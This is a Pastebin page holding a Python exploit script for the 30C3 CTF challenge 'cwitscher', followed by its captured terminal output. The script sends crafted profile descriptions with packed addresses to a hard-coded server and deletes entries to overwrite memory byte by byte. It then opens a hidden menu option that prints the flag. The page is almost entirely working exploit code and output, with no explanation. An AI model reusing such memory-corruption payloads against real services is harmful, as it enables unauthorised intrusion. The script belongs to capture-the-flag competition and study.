SHARE
TWEET

30C3 CTF cwitscher

bata_24 Dec 29th, 2013 (edited) 592 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import struct, socket
  4.  
  5. def sock(remoteip, remoteport):
  6.   f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7.   f.connect((remoteip, remoteport))
  8.   return f
  9.  
  10. def pQ(a): return struct.pack("<Q", a)
  11.  
  12. def delete(f):
  13.   print f.recv(1024) # del cs
  14.   f.send("4\n")
  15.   print f.recv(1024)
  16.   f.send("1\n")
  17.  
  18. f = sock("88.198.89.198", 1024)
  19.  
  20. print f.recv(1024) # name
  21. f.send("name\n")
  22.  
  23. ########
  24.  
  25. print f.recv(1024) # edit profile
  26. f.send("2\n")
  27. print f.recv(1024)
  28. f.send("\x4d\x60\x00\x00\x00\x00\x00" + "A"*40 + '\x4d' + "A"*16 + pQ(0x605F97) + "\n")
  29. delete(f)
  30.  
  31. ########
  32.  
  33. print f.recv(1024) # edit profile
  34. f.send("2\n")
  35. print f.recv(1024)
  36. f.send("\x60\x00\x00\x00\x00\x00" + "A"*41 + '\x4d\x60' + "A"*15 + pQ(0x605F96) + "\n")
  37. delete(f)
  38.  
  39. ########
  40.  
  41. print f.recv(1024) # edit profile
  42. f.send("2\n")
  43. print f.recv(1024)
  44. f.send("\x00\x00\x00\x00\x00" + "A"*42 + '\x4d\x60\x00' + "A"*14 + pQ(0x605F95) + "\n")
  45. delete(f)
  46.  
  47. ########
  48.  
  49. print f.recv(1024) # edit profile
  50. f.send("2\n")
  51. print f.recv(1024)
  52. f.send("\x00\x00\x00\x00" + "A"*43 + '\x00'*4 + "A"*13 + pQ(0x605F94) + "\n")
  53. delete(f)
  54.  
  55. ########
  56.  
  57. print f.recv(1024)
  58. f.send("23\n")
  59. print f.recv(1024)
  60.  
  61. """
  62. $ py exp.py
  63.  ______      _______________________ _________
  64. / ___/ | /| / /  _/_  __/ __/ ___/ // / __/ _ \
  65. / /__ | |/ |/ // /  / / _\ \/ /__/ _  / _// , _/
  66. \___/ |__/|__/___/ /_/ /___/\___/_//_/___/_/|_|
  67.  
  68. What's your handle?
  69. >
  70. Welcome, name
  71.  
  72. _______________________
  73. 1) Read your cwitschers
  74. 2) Edit your prophile
  75. 3) Cwitscher!
  76. 4) Delete one of your cwitschers
  77. 5) Quit
  78. >
  79. Current description:
  80.  
  81.  
  82. Enter new description >
  83. _______________________
  84. 1) Read your cwitschers
  85. 2) Edit your prophile
  86. 3) Cwitscher!
  87. 4) Delete one of your cwitschers
  88. 5) Quit
  89. >
  90. Delete which cwitsch? >
  91. _______________________
  92. 1) Read your cwitschers
  93. 2) Edit your prophile
  94. 3) Cwitscher!
  95. 4) Delete one of your cwitschers
  96. 5) Quit
  97. >
  98. Current description:
  99. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAA_`
  100.  
  101. Enter new description >
  102. _______________________
  103. 1) Read your cwitschers
  104. 2) Edit your prophile
  105. 3) Cwitscher!
  106. 4) Delete one of your cwitschers
  107. 5) Quit
  108. >
  109. Delete which cwitsch? >
  110. _______________________
  111. 1) Read your cwitschers
  112. 2) Edit your prophile
  113. 3) Cwitscher!
  114. 4) Delete one of your cwitschers
  115. 5) Quit
  116. >
  117. Current description:
  118. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM`AAAAAAAAAAAAAAA_`
  119.  
  120. Enter new description >
  121. _______________________
  122. 1) Read your cwitschers
  123. 2) Edit your prophile
  124. 3) Cwitscher!
  125. 4) Delete one of your cwitschers
  126. 5) Quit
  127. >
  128. Delete which cwitsch? >
  129. _______________________
  130. 1) Read your cwitschers
  131. 2) Edit your prophile
  132. 3) Cwitscher!
  133. 4) Delete one of your cwitschers
  134. 5) Quit
  135. >
  136. Current description:
  137. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM`
  138.  
  139. Enter new description >
  140. _______________________
  141. 1) Read your cwitschers
  142. 2) Edit your prophile
  143. 3) Cwitscher!
  144. 4) Delete one of your cwitschers
  145. 5) Quit
  146. >
  147. Delete which cwitsch? >
  148. _______________________
  149. 1) Read your cwitschers
  150. 2) Edit your prophile
  151. 3) Cwitscher!
  152. 4) Delete one of your cwitschers
  153. 5) Quit
  154. >
  155. 1337) Read Flag
  156. 30C3_EINMALmitprofisarbeiten!
  157. """
RAW Paste Data
Top